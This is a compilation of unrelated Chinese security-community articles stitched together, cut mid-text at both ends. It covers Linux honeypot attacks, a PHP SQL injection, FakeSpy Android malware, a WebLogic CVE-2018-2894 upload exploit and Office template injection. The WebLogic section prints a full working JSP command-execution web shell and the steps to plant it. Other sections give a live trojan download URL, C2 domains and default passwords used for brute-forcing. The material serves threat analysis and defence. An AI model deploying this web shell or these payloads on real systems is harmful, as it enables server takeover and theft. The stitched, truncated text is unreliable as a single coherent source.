从密码上看：system、user、1234、sh等默认口令与简单密码序列是黑客最常用的爆破密码。
除弱口令这种被黑客惯用的爆破方式外，专有设备默认口令爆破也是黑客常用的攻击方式。如下是常用专有设备默认口令账户：
表2-2 专有设备默认账户
对比上图2-4（常见爆破用户名情况）可发现，存在大量专有设备默认口令账户爆破。
综上，弱口令爆破是黑客最爱用的攻击方式之一，这样的攻击方式低成本且易成功率极高。所以对我们而言不要贪图“一时爽”，将密码和用户名设置的尽量复杂，同时间隔一段时间（如：30天）对密码进行修改。企业用户因数据具有更大的价值，更应该加强员工管理密码的意识。而对专有设备、物联网设施的探测已经蔚然成风，对这些非服务器类设备的安全管理迫在眉睫。
### 攻击源区域特性
针对Linux系统的扫描探测攻击源从区域角度来看，欧洲、中国、美国以及韩国攻击源最为集中。以下为攻击源各国分布情况:
图2-6 Linux系统扫描探测攻击源全球分布
我们对攻击者所使用的系统进行追踪分析，下图是攻击者系统分布：
图2-7 攻击者使用系统分布
检测发现在已知的操作系统中有超过60%的攻击系统为Linux，这其中不乏已被攻陷的僵尸主机被利用。
## 挖矿与DDoS攻击为其主要目的
安恒安全数据大脑团队通过长期跟踪观测互联网中攻击流量的数据，分析发现目前针对Linux主机的攻击目的，主要集中在捕获肉鸡进行挖矿与DDoS攻击上，本次选取其中较为典型的两款木马简要分析：盖茨木马、树莓派木马。
### 盖茨木马分析
#### 概述
Billgates木马攻击是Linux系统中主流的木马攻击类型，主要用于DDoS攻击或挖矿。以下对Billgates中近期出现的攻击情况进行分析。
2018年7月30日安恒安全数据大脑团队在某蜜罐平台中，捕获了一种DDoS木马。其来源IP为61.178.179.93，通过对SSH爆破，进入蜜罐伪装的文件系统，并下载一个能使机器变为攻击者肉鸡的木马文件，从而可发起DDoS攻击。
其木马文件的情况如下：
图3-1 某DDoS木马文件
分析可见，攻击者一共下载了三次，成功了一次。
#### 入侵过程
黑客首先对开放的SSH服务，通常是登录22端口进行爆破，爆破后进入蜜罐伪装的文件系统，进入系统后，该攻击者首先关闭了防火墙，然后从源IP
61.178.179.93的45454端口获取木马，并且反复启动该木马程序。
图3-2 源IP获取木马并反复启动木马程序
该木马下载路径如下：http://61.178.179.93:45454/Hoogp，目前该路径可以访问与下载：
图3-3 木马访问与下载界面
该木马下载IP 61.178.179.93来自中国甘肃，曾发起过网络攻击行为，并被安恒威胁情报中心标记为恶意软件站点。
图3-4 木马详细信息
通过对Hoogp样本分析发现其为一个恶意文件，同时多款杀毒软件也检测出其为后门和DDoS。
图3-5 多款杀毒软件监测结果
#### 通信行为
我们进一步对文件的通信行为进行分析，发现其关联的域名是:xunyi-gov.cn和DDoS.xunyi-gov.cn，其域名xunyi-gov.cn已被标记为 BillGates 僵尸网络。
网站下存在5个子域名，分别为：blog.xunyi-gov.cn；hack.xunyi-gov.cn；[www.xunyi-gov.cn](http://www.xunyi-gov.cn)；DDoS.xunyi-gov.cn；s.xunyi-gov.cn。其子域名大多被标记为远控或恶意软件。
表3-1 域名xunyi-gov.cn关联分析
图3-7 该木马存在的通信样本
对另一个关联域名进行反查：DDoS.xunyi-gov.cn，发现仍然被标记为恶意软件通信相关：
图：3-8 域名反查
另外根据关联关系分析结果如下，发现该组织对批量的恶意域名通信控制，捕获大量主机，推测其为一定规模的黑客组织行为。
表3-2 域名DDoS.xunyi-gov.cn关联分析
### 树莓派(Raspberry)木马分析
#### 概述
树莓派是在2017年推出的一款单片机计算机，一款只有信用卡大小且系统底层基于Linux的微型电脑。
2018年7月31日，安恒安全数据大脑团队在某蜜罐系统发现攻击者留下的针对树莓派系统进行入侵与挖矿的恶意文件，通过分析日志发现，攻击IP为121.153.206.110，位于韩国。
#### 入侵过程
该攻击者于2018-7-31 14:17:37，通过树莓派默认账号pi和弱口令，登入了蜜罐。
图3-10 攻击者使用弱口令登录蜜罐平台
通过进一步查看攻击者执行的指令可以发现，其通过 scp指令获取了一个名为”E7wWc5ku”的文件，并将其保存在/tmp 下。随后进入
tmp目录赋予该文件可执行权限，调用 bash脚本执行这个文件。
#### 行为分析
我们随后对该Shell脚本的完整内容获取并进行了分析，该脚本在杀死一堆其他的挖矿进程以及占用系统资源的进程后，将进行挖矿。
杀死一堆其他挖矿程序与进程：
图3-11 攻击者进程分析
随后将一个可疑地址加入到/etc/hosts，将本地地址解析到bins.deutschland-zahlung.eu。接着删除shell设置的环境变量，并且改掉pi用户的密码信息，ssh生成公钥写入ssh配置文件。指定DNS，写入了一个可疑的EOF
MARKER文件，其中有一串可疑的域名，分析认为是IRC服务器；
图3-12 攻击者进程分析(2)
接着在后台挂起了这个EOF MARKER文件，并下载了zmap 和sshpass，利用 zmap
进行内网探测，继续利用当前机器，以”pi:praspberry”和”pi:praspberryaspberry993311”这样的口令去扫描IP
列表下的其他机器，一旦攻入则通过scp上传攻击脚本。
图3-13 攻击者进程分析(3)
## 安全治理刻不容缓
通过本文分析的当前Linux系统面临的主流威胁情况，为后续对系统的规范化管理与治理提供了可靠的依据。
### 日常安全运维规范
从当前互联网中系统远程服务或数据库端口暴露，被爆破情况严重的情况分析来看，服务器的系统端口需加强规范化管理。在日常运维中，需要避免不必要的应用端口对外开放，尤其是远程服务端口、数据库应用等极易被探测爆破的类型，如必须开放则做好网络访问控制，也可免遭非法地址发起的攻击行为。规范化管理端口的操作简易，但是却收效显著。
### 物联网终端设备的安全规范
大量物联网设备的底层系统采用了Linux，相比于传统的服务器运维管理，由于发展时间短，管理机制不够成熟，这类系统的安全十分薄弱，管理配置混乱，尤其是以默认账号密码问题尤为突出，无论是过去爆发的摄像头黑天鹅事件，还是物联网终端设备发起的DDoS攻击导致美国断网事件，都充分暴露了系统安全开发、配置、管理的不规范，因此对物联网终端的设备安全规范管理规范亟需推进，强制检测产品的安全规范。
### 僵尸主机的感知与治理
目前网络中已经存在了大量的僵尸主机，由于缺乏对网络中存在僵尸主机的检测机制，企业网络、IDC机房、各类公/私有云，都面临着主机长期被控失陷而不自知的问题，这一现象又纵容了黑客肆意捕获肉鸡，进行DDoS、挖矿、内网渗透等行为。因此，采用新型的僵尸主机检测方式，探测网络内是否存在系统失陷的安全问题成为当下最需要解决的问题。
威胁情报通过对互联网中的流量数据的捕获与国内外共享情报的分析，可广泛识别网络中的僵尸主机，提取出被恶意主机控制的失陷主机地址，可有效协助区域监管单位或组织机构发现内部网络中是否有被控僵尸主机，开展清理工作，防止持续被控造成不可估量的损失。 | 社区文章 |
先放漏洞函数，觉得太长无聊可以直接看后面
function docompare(){
if(!empty($this->setting['check_useragent'])) {
$this->load('anticopy');
if(!$_ENV['anticopy']->check_useragent()){
$this->message('禁止访问','',0);
}
}
if(!empty($this->setting['check_visitrate'])) {
$this->load('anticopy');
$_ENV['anticopy']->check_visitrate();
}
if ($this->get[4] == 'box'){
@header('Content-type: text/html; charset='.WIKI_CHARSET);
if(!@is_numeric($this->get[2])||!@is_numeric($this->get[3])){
$this->message($this->view->lang['parameterError'],'index.php',0);
}
$did = $this->get[2];
$eid = $this->get[3];
$edition = array();
$editions=$_ENV['doc']->get_edition_list($did,'`time`,`authorid`,`author`,`words`,`images`,`content`', $eid);
$this->view->assign('edition',$editions);
$this->view->display('comparebox');
exit;
}
if(@!is_numeric($this->post['eid'][0])||@!is_numeric($this->post['eid'][1])){
$this->message($this->view->lang['parameterError'],'index.php',0);
}
$edition=$_ENV['doc']->get_edition(array_slice($this->post['eid'], 0, 2));
if($edition[0]['did']!=$edition[1]['did']){
$this->message($this->view->lang['parameterError'],'index.php',0);
}
$doc=$this->db->fetch_by_field('doc','did',$edition[0]['did']);
$doc['rawtitle']=$doc['title'];
if(@$doc['visible']=='0'&&!$this->checkable('admin_doc-audit')){
$this->message($this->view->lang['viewDocTip4'],'index.php',0);
}
$edition[0]['tag']=$_ENV['doc']->spilttags($edition[0]['tag']);
$edition[0]['editions']=$this->post['editions_'.$edition[0]['eid']];
$edition[1]['tag']=$_ENV['doc']->spilttags($edition[1]['tag']);
$edition[1]['editions']=$this->post['editions_'.$edition[1]['eid']];
$doc['title']=$edition[0]['title'];
$doc['did']=$edition[0]['did'];
$this->view->assign('doc',$doc);
$this->view->assign('edition',$edition);
//$this->view->display('compare');
$_ENV['block']->view('compare');
}
我们注意到它这个操作：
if(@!is_numeric($this->post['eid'][0])||@!is_numeric($this->post['eid'][1])){
$this->message($this->view->lang['parameterError'],'index.php',0);
}
$edition=$_ENV['doc']->get_edition(array_slice($this->post['eid'], 0, 2));
先是检查了 POST 的 eid 数组，键是 0、1 的值是否为数字，如果不是则报错退出
如果是数字的话，则选出数组中的前两个键值
我们知道，POST 传进去后，键不会自动排序的，传的时候是什么顺序，接收到的就是什么顺序，然而 `array_slice`
的第二个参数表示的是偏移量，那么它这里实际上选出的 POST 的 eid 数组的前两个键值，而不是键为 0、1 的键值，现在传入 get_edition
的参数是我们可控的了，跟进函数看看做了些啥
function get_edition($eid){
$editionlist=array();
if(is_numeric($eid)){
$edition= $this->db->fetch_first("SELECT * FROM ".DB_TABLEPRE."edition WHERE eid=$eid");
if($edition){
$edition['comtime']=$edition['time'];
$edition['time']=$this->base->date($edition['time']);
$edition['rawtitle']=$edition['title'];
$edition['title']=htmlspecial_chars($edition['title']);
if(!$edition['content']){
$edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));
}
}
return $edition;
}else{
$eid=implode(",",$eid);
$query=$this->db->query(" SELECT * FROM ".DB_TABLEPRE."edition WHERE eid IN ($eid)");
while($edition=$this->db->fetch_array($query)){
$edition['time']=$this->base->date($edition['time']);
$edition['rawtitle']=$edition['title'];
$edition['title']=htmlspecial_chars($edition['title']);
if(!$edition['content']){
$edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));
}
$editionlist[]=$edition;
}
return $editionlist;
}
}
这里很明显，如果传入的是数组，那么先整合成字符串，然后直接带入了sql查询语句中，那么这就造成了sql注入
影响如下： | 社区文章 |
# FakeSpy卷土重来攻击日本
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/fakespy-comes-back—new-wave-hits-japan.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
FortiGuard实验室最近发现了一些恶意流量，其C2服务器位于中国境内。恶意链接所使用的域名与日本最知名的快递服务商非常相似。根据我们的分析，创建该链接的网站属于虚假网站，并且会传播Android恶意软件。
初步分析时，这个Android文件非常像趋势研究人员在2018年6月份发现的FakeSpy恶意软件，但根据我们分析平台的处理结果，虽然该样本在代码上基于FakeSpy，但这款新变种还包含新的功能，并且恶意活动势力不断增长。
## 二、网页分析
初步分析样本后，我们发现了一个域名：`hxxp://sagawa-ba[.]com`。
图1. 伪造的日本快递官网
眼尖的读者可能会发现，该网站伪装的是日本的某家快递服务公司。然而仔细检查后，我们可以看到该网站并没有使用SSL证书，并且页面布局也不正确。
在分析页面源码时，我们首先注意到的是其中的Mark of the Web（MOTW）注释。MOTW是Windows XP
SP2开始引入的一个安全机制，现在每一个浏览器都会部署该机制，在用户下载Web页面和脚本到本地磁盘时提高用户的安全性。
图2. 主页面的MOTW标志
这行注释表明该页面最早下载自某个页面，然后再上传到其他页面中，以便添加一些新的“功能”。新增的一个主要功能是包含`kk`函数的一段脚本。我们还观察到页面中注释掉了一个弹出消息，可能表明攻击代码仍在研发中。`kk`函数很简单，会打开网站的`pp.html`页面，一旦终端用户点击网站时就会调用该函数。
图3. 主页面中的重定向脚本
跟随重定向代码，我们可以看到如下错误信息，声称出于安全原因，用户需要输入手机号码。
图4. 出于“安全”原因弹出来的手机号码页面
分析处理输入字段的脚本后，我们发现用户输入的数据会直接发送到恶意服务器，其中cookie字段用来发送用户输入的移动手机号码。之后浏览器会跳转到下一个页面，调用`pp2.html`。该页面中同样包含被注释的代码段，可能表明攻击代码仍在研发中。
图5. 手机号码发送脚本
进入下一页，恶意网站会要求我们输入“确认”码：
图6. 手机号的“确认”码
当我们检查输入字段的代码时，可以发现其中依然包含注释代码，但这次代码与之前的`pp.html`
JavaScript代码非常相似。很有可能是开发者复制粘贴代码后，在投入实际环境中前忘了删掉其中的注释，也有可能将这些注释代码留在页面中用来测试。
图7. 确认码的验证代码
分析该脚本，我们可以看到脚本会调用`validate()`函数，检查用户提供的代码是否包含4个数字。如果满足该条件，网站就会将代码发送到服务端，将用户重定向到`loding1.html`页面。不幸的是，我们没有从服务器那获取任何响应数据。但该元素可能用来帮用户订阅付费服务，或者用来验证用户提供的是真实的手机号，该页面只为用户“服务”一次。
除了该脚本外，该页面还包含一个定时器脚本。这里有趣的是，该页面的注释中包含一些中文字符。
图8. 带有中文注释的自定义定时器代码
接下来，如果我们我们分析`loding1.html`源码，可以找到负责处理服务器返回数据的另一个脚本，脚本中我们还是可以找到中文注释，还有一条韩文注释。这可能表明攻击者存在代码复用，没有翻译中文字符，或者也有可能是中国攻击者和韩国攻击者合作的结果。
图9. 带有中文和韩文注释的页面加载脚本
在搜索代码模式时，我们发现这些有趣的地方并不足以作为追踪钓鱼网站开发者的证据。虽然钓鱼页面中的`setInterval('newArticleCheck()',
2000);`代码与2015年韩国人`쥬리앙`（Juriang）在Q&A
PHP论坛上使用的代码样式、函数名以及语法相匹配，但我们无法肯定新的攻击代码由同一个人开发，有可能其他人直接复用了PHP论坛上的代码。
图10. 论坛上发现的同样的代码特征
观察网站的主逻辑后，我们决定分析分析其他功能的页面代码，此时我们发现页面上存在安装`sagawa.apk` Android应用的代码：
图11. Android应用安装链接
不幸的是，此时该链接已失效，会跳转到一个中文404页面：
图12. 中文404页面
完成对该网站的初步检查后，我们分析了该域名的WHOIS信息。该服务器位于台湾地区，域名注册时间为2018年7月16日。
图13. C2服务器位置信息
令人惊讶的是，我们发现恶意活动并不仅限于这个域名。我们可以找到347个域名，这些域名对快递官网域名的第一部分或者最后一部分域名做了修改。攻击者使用如下3个邮箱来注册这些域名。
mantianxing0111[at]yahoo.co.jp （注册104个域名）
2509677308[at]qq.com （注册55个域名）
21449497[at]qq.com （注册188个域名）
图14. 伪造域名部分列表
我们决定检查该列表中的某些域名。这些网站大部分都已注册，但没被使用过。某些域名已连接到托管服务器（托管服务器主要位于台湾地区），但并不包含网页内容。然而，某些网站上的确包含同样的钓鱼页面。
我们针对性检查了结尾为`-iso.com`以及`-wow.com`的那些域名。在检查过程中，我们发现了另一个脚本，该脚本与`-ba.com`网站上的脚本非常相似，但并不会将用户重定向到电话号码页面，而是在用户点击网页时，下载`sagawa.apk`应用。以`-wow.com`结尾的域名并不会收集用户手机号码，也不像`-ba.com`的域名那样包含`pp.html`、`pp2.html`或者`loding1.html`页面。此外，该域名会使用英文的404页面。
图15. 投放`sagawa.apk`应用的脚本
## 三、应用分析
我们分析的APK哈希值为`92cd2e43bf85703f92a493668be3d777c3d3cfab3f674b62bd334ddc082ac50d`。
### 释放器
首先我们分析的是APK文件的内容。
我们使用内部分析工具分析样本，分析报告部分内容如下图所示。应用的包名为`fang.tang.sha`，除了与正常APK文件一样包含`classes.dex`外，还包含适配不同架构的一个库（`libxxn.so`）、一个asset文件（`nini.dll`）。这已经是一个危险标志：正常Android应用不需要依赖MS
Windows库。
图16. APK报告摘抄
快速检查后，我们发现`nini.dll`其实是经过加密处理的一个文件，这引起了我们的好奇心，决定开始分析apk文件。
首先我们分析了`AndroidManifest.xml`文件，其中包含应用的大部分信息，比如权限信息、Activity和服务信息等。我们首先注意到应用会请求大量可疑权限：
图17. APK过滤器
图18. APK权限
然而还有另一处重要细节，`classes.dex`文件中并不包含`AndroidManifest`中的类和函数。应用使用的所有Activity以及服务都需要提前在`Manifest`中提前声明，声明不存在的类并没有意义。这里可以推测出来，应用在执行期间会动态加载其他一些代码。
应用在执行时会启动一个`webview`，显示攻击者正在伪造的快递服务主页。应用会请求注册为处理SMS的默认应用并在后台运行，无视电池优化策略。与此同时，应用图标会从界面中消失，并在后台保持运行。
由于应用与用户的交互较少，因此我们来看一下应用代码。
应用的执行流程非常简单：应用首先加载`libxxn.so`，然后执行`run()`函数（位于`Java_taii_YANGG_run`共享对象中）。该函数会解密`nini.dll`文件，加载解密后的文件（在我的测试设备上该文件位于`/data/user/0/fang.tang.sha/app_cache`目录中）。应用会动态加载该文件，我们可以在`adb
logcat`命令的输出中验证这一点：
图19. adb logcat输出
该文件在加载后就会被立即删除，加大取证难度。幸运的是，我们可以使用FRIDA（非常方便灵活的一个开源套件）来停止执行流程，在文件被删除前保存该文件。
[FRIDA](https://www.frida.re/)是逆向Android应用的一款工具（并且功能不局限于此），也能适用于多个架构，可以在root和非root设备上使用（非root设备上需要进一步配置）。大家可以访问[Github页面](https://github.com/ddurando/frida-scripts)下载我所使用的脚本。
### 攻击载荷
释放出来的`mycode.jar`文件中包含一个`classes.dex`文件，恶意软件使用`libxxn.so`库中的`DexClassLoader`函数来加载该文件。
载荷看起来像是FakeSpy（2018年6月份发现的一款恶意软件）的变种，包含前一代版本所具备的大部分功能，但同样包含一些新功能。
### 功能分析
图20. SMS信息收集
恶意软件会请求成为默认的SMS应用，因此该应用具备拦截SMS消息的能力并不奇怪。当设备接收到消息时，应用会记录消息中的所有信息，并将其发送给C2服务器。
图21. C2通信数据中包含目标号码
此外，这款恶意软件还可以创建SMS并发送至其他设备。实际上这也是恶意软件的传播方式。移动设备一旦被感染，就会开始与C2服务器通信，在SMS中嵌入指向攻击者控制域名的链接，尝试通过SMS感染其他手机号对应的设备。
在图22中，我们使用FRIDA控制`SMSmanager`这个Android类，然后修改其中的`sendTextMessage()`函数，只记录下恶意消息内容，并没有实际发送恶意消息。
图22. 发送给目标的SMS
恶意软件还可以获取当前设备上已安装的所有应用列表以及其他信息（如IMEI以及手机号），将这些信息以JSON文件形式发送给C2服务器。利用这种方法，攻击者可以获取该设备的所有状态信息。
图23. 发送至C2服务器的应用信息
最后，恶意软件还可以向服务器发送完整的崩溃报告。
### 异常特征
该样本中包含一些奇怪的特征，因此我们认为恶意软件仍处于开发状态。
C2服务器地址以`URL`名称保存在`sharedPreferences`中，这个值最开始设置为`125.227.0.22`，但可以在应用执行过程中通过`ChangeIP()`函数动态修改，该函数会检查执行时间是否已超过1分钟，如果满足该条件，则从加密的字符串中解出新的C2服务器IP地址。该字符串指向一个推特账户，其用户名包含新的IP地址，可以使用简单的字符串操作进行解码。
图24. 用于获取新C2地址的推特账户
然而，即便dex文件中存在解密代码，根据我们的分析，恶意软件似乎从来不会使用这段代码。相反，应用会在活动期间始终与第一个C2地址通信。我们尝试将HTTP流量重定向修改后的C2地址，但并没有收到任何响应。
恶意软件同样包含指向`/sdcard/new.apk`文件的多处引用，可以利用给定的URL下载文件，然后检查设备是否包含名为`ni.vb.bi`的一个应用，如果包含该应用，则不会安装下载的文件。然而，在执行期间恶意软件永远不会调用下载文件的函数。
图25. 安装`new.apk`的函数
恶意软件的一个类中包含`main()`和`System.out.println()`函数，Android
APK中并不需要这些函数，但在Java文件中很常见，这表明开发者可能想测试某些功能，或者只是从其他源中复制粘贴代码。
图26. 测试main()函数
恶意软件还会请求Device
Admin权限，并且包含一个`DeviceAdminReceiver`类，但从来没有请求权限来使用这个类，因此这个类永远无法发挥作用。
图27. Device Admin函数
在分析过程中，我们发现恶意样本几乎每天都会更新证书，表明另一端至少有某些人在维护整个基础设施。
## 四、总结
总而言之，参与此次攻击活动的幕后黑手拥有大量域名，这些域名伪造的是日本快递服务商的真实域名，这意味着他们正在为攻击活动投入大量时间及域名，但可能仍在考虑从这些资源中获取丰厚利润的方法。利用攻击者邮箱注册的域名大多数处于非活跃状态，但这并不意味着这些域名永远不会被使用。网站上存在的脚本、注释以及无用的代码行可能表明攻击者仍在改进攻击方式，尝试使用不同的方法来实现他们的既定目标。
不幸的是，我们无法确定攻击者为什么要收集手机号，但可以猜测攻击者会利用这些信息来发起其他恶意攻击，或者将这些信息售卖给其他攻击者。
这款恶意软件以及此次攻击活动似乎仍处于早期研发阶段。恶意软件基于已有代码库开发而来，但攻击者尝试改进代码，添加其他功能，有些功能目前仍没有发挥作用，但可能在将来会有所变化。
## 五、解决方案
Fortinet产品可以防御此类攻击，已将释放器标识为`Android/Agent.CIJ!tr`，将攻击载荷标识为`Android/Fakespy.Z!tr`。
## 六、IOC
释放器哈希值：
24072be590bec0e1002aa8d6ef7270a3114e8fe89996837a8bc8f6a185d9690e 92cd2e43bf85703f92a493668be3d777c3d3cfab3f674b62bd334ddc082ac50d 01caceb86d3e2a383eeab4af98c55a2ec7b82ae0972594866b13fc0c62c93d74
攻击载荷哈希值：
b7f4850b243649cdba97fd3bb309aa76fe170af80fa9c6ee5edd623dac2ce4e2 00ce9ffe9cca59df86125747c3a2e548245bf1b0607bc8f080fd3c501d9fc3f0
C2服务器地址：
sagawa-ba[.]com
sagawa-wow[.]com
sagawa-iso[.]com
我们的Web Filter服务同样会过滤出其他344个域名。 | 社区文章 |
# 转载 | WebLogic任意文件上传漏洞复现与分析 - CVE-2018-2894
##### 译文声明
本文是翻译文章，文章来源：xz.aliyun.com
原文地址：<https://xz.aliyun.com/t/2458>
译文仅供参考，具体内容表达以及含义原文为准。
## CVE-2018-2894
漏洞影响版本：10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
下载地址：<http://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip>
## 漏洞复现
服务启动后，访问 <http://localhost:7001/ws_utc/config.do>
[](https://xzfile.aliyuncs.com/media/upload/picture/20180719181843-1cfa6d78-8b3d-1.png)
可以将当前的工作目录为更改为其他目录。以本地环境为例，可以部署到`C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war`下
选择右边的`安全`栏目，添加`JKS Keystores`上传文件。假设`chybeta.jsp`内容如下：
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
抓包获取到时间戳为`1531987145013`，则上传到的位置即`config\keystore\1531987145013_chybeta.jsp`
[](https://xzfile.aliyuncs.com/media/upload/picture/20180719181843-1d2762a6-8b3d-1.png)
访问`<http://localhost:7001/ws_utc/config/keystore/1531987145013_chybeta.jsp>`
[](https://xzfile.aliyuncs.com/media/upload/picture/20180719181843-1d3c553a-8b3d-1.png)
## 简要漏洞分析
在`ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59`:
public void changeWorkDir(String path) {
String[] oldPaths = this.getRelatedPaths();
if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
this.isWorkDirChangeable = false;
this.isWorkDirWritable = isDirWritable(path);
this.isWorkDirChangeable = true;
this.setTestClientWorkDir(path);
} else {
this.persistWorkDir(path);
this.init();
}
if (this.isWorkDirWritable) {
String[] newPaths = this.getRelatedPaths();
moveDirs(oldPaths, newPaths);
} else {
Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
}
}
此函数用于改变工作目录，但其中并未做任何检测。
在`ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181`中：
@Path("/keystore")
@POST
@Produces({"application/xml", "application/json"})
@Consumes({"multipart/form-data"})
public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {
if (!RequestUtil.isRequstedByAdmin(this.request)) {
return Response.status(Status.FORBIDDEN).build();
} else {
if (TestClientRT.isVerbose()) {
Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
}
String currentTimeValue = "" + (new Date()).getTime();
KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
....
}
}
跟入`ws-testpage-impl.jar!/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.class:31`
public static String getKeyStorePath() {
return getConfigDir() + File.separator + "keystore";
}
得到要写入的路径`storePath`。
在`ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:145`:
public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix) {
...
if (attachName != null && attachName.trim().length() > 0) {
if (attachName != null && attachName.trim().length() != 0) {
attachName = this.refactorAttachName(attachName);
if (fileNamePrefix == null) {
fileNamePrefix = key;
}
String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath();
kvMap.addValue(key, filename);
if (isExtactAttachment) {
this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
}
}
}
...
}
把上传文件的内容传到了`storePath`目录里，文件名满足`fileNamePrefix + "_" +
attachName`。这过程没有任何过滤和检查：）…
条件：
* 需要知道部署应用的web目录
* `ws_utc/config.do`在开发模式下无需认证，在生产模式下需要认证。具体可见[Oracle® Fusion Middleware Administering Web Services](https://docs.oracle.com/middleware/1212/owsm/WSSEC/webservice-test.htm#WSSEC3642)
## Reference
* <http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html>
* <https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ> | 社区文章 |
# 【技术分享】利用Office模版注入攻击关键基础设施
|
##### 译文声明
本文是翻译文章，文章来源：talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2017/07/template-injection.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 前言**
攻击者一直在尝试通过邮件发送恶意软件的新的方式。Talos确认了一起基于邮件的针对能源行业（包括核能）的攻击，有别于经典的word文档的附件钓鱼攻击。通常，恶意的Word文档作为钓鱼邮件的附件，他们包含能执行恶意代码的脚本或者宏。在这个例子中，附件本身没有恶意代码。但是附件尝试通过SMB连接下载一个模版文件，以便可以获取用户的凭据。另外，这个模版文件也能用于下载其他恶意的payload。
**0x01 背景**
从2017年5月，Talos观察到攻击者的目标是关键的基础设施和能源公司，尤其是欧洲和美国的。这些攻击者的目标都是关键基础设施的供应商，这些供应商提供关键服务。对于关键基础设施的攻击并不是新问题，攻击者试图了解关键基础设施的ICS网络，一般都不怀好意。这个最新的攻击似乎在收集工作于关键基础设施和制造业的用户的凭据。使用新的攻击手法，通过发送恶意邮件盗取凭据。这些文档一旦打开，就会试图从攻击者控制的外部SMB服务器得到一个模版文件。
**
**
**0x02 技术分析**
从最近的攻击中得到了一些DOCX的样本，他们是通过恶意的电子邮件传播的。如下面所示，这些文件伪装成环境报告或者简历。
我们首先希望能找到一些恶意的VBA宏或者嵌入的脚本。检查VBA没有结果：
通过另一个工具运行再次确认：
没有嵌入二进制。通过研究这个样本中与攻击相关的IP地址，但是服务器已经不再接受请求了。转换思路，我们建立了一个独立的环境的服务器，并在TCP
80端口监听，以判断文档的行为。
截图如下，我们看到了一些有趣的东西：
文档试图从特定的IP下载一个模版文件，但是通过TCP 80端口连到了我们蜜罐服务器上。我们的实时捕获显示了TCP
445的握手失败。现在可以手动解析文档来了解IP地址相关的内容。我们找到了模版注入的实例而非代码：
我们初步判断攻击者试图通过恶意的SMB服务器来获取用户凭据。在样本中，我们可以看到一个被注入的模版用来和一个外部SMB服务器建立连接。不过，这没有解释为什么同一个样本会尝试通过TCP
80建立会话。在深入研究之后，我们决定在沙箱虚拟机中配置通过SMB的连接。简言之，由于主机的网络配置，当请求模版时，通过SMB会话会有WebDAV连接。当另一个监听TCP
80的外部服务器不再提供模版时，另一样本确认了这个情况。
继续看，模版设置的是指定的Relationship
ID：rld1337，其在样本word/_rels/settings.xml.rels中。研究这个Relationship
ID，使我们在Github中找到了一个名为[Phishery](https://github.com/ryhanson/phishery)的钓鱼工具，在它的模版注入中能发现相同的ID：
在前面的Go代码的底部能找到相同的ID：
然而，Phishery不依赖恶意的SMB服务器。而且，连接是通过HTTPS的，并且通过基本认证的提示来获取用户的凭据。通过SMB请求，这种提示就可以避免。实际上，这个工具和报告的攻击依赖于精确的相同的Relationship
ID的模版注入，可能表明：
1\. 是个巧合
2\. 攻击者看到了这个工具，并且修改或者使用同样的想法开发的
3\. 攻击者使用相同ID是为了混淆分析
此时，没有任何证据确认上面3种可能性。然而，攻击者依赖通过TCP
445的流量的SMB会话是可以确定的。对于SMB不需要凭据提示，我们能知道这种技术既简单又有效。如果攻击者能破环一个主机并且在内部运行一个服务器，这将变得更加严重。
而且，因为攻击者控制的SMB服务器挂了，无法确认是否能通过模版下载释放payload。正如我们最近看到的攻击，攻击的意图并不总是明显的。SMB请求到外部服务器多年来一直是个安全漏洞。没有进一步的信息来确定攻击的规模或者涉及的payload。
**0x03 总结**
Talos已通知了受影响的用户，确保了他们知道的威胁和应对能力。它也说明控制你的网络流量的重要性，不要允许类似的SMB的协议的流量，除非我们需要。另外，写了一些ClamAV特征和电子邮件规则，以便确认这种office模版注入技术。
**0x04 IOCs**
由于这些攻击的来源，我们无法分享所有的IOC；然而，我们尽可能多的分享如下：
**恶意文档**
文件名: Report03-23-2017.docx
SHA256: 93cd6696e150caf6106e6066b58107372dcf43377bf4420c848007c10ff80bc9
文件名: Controls Engineer.docx
SHA256:
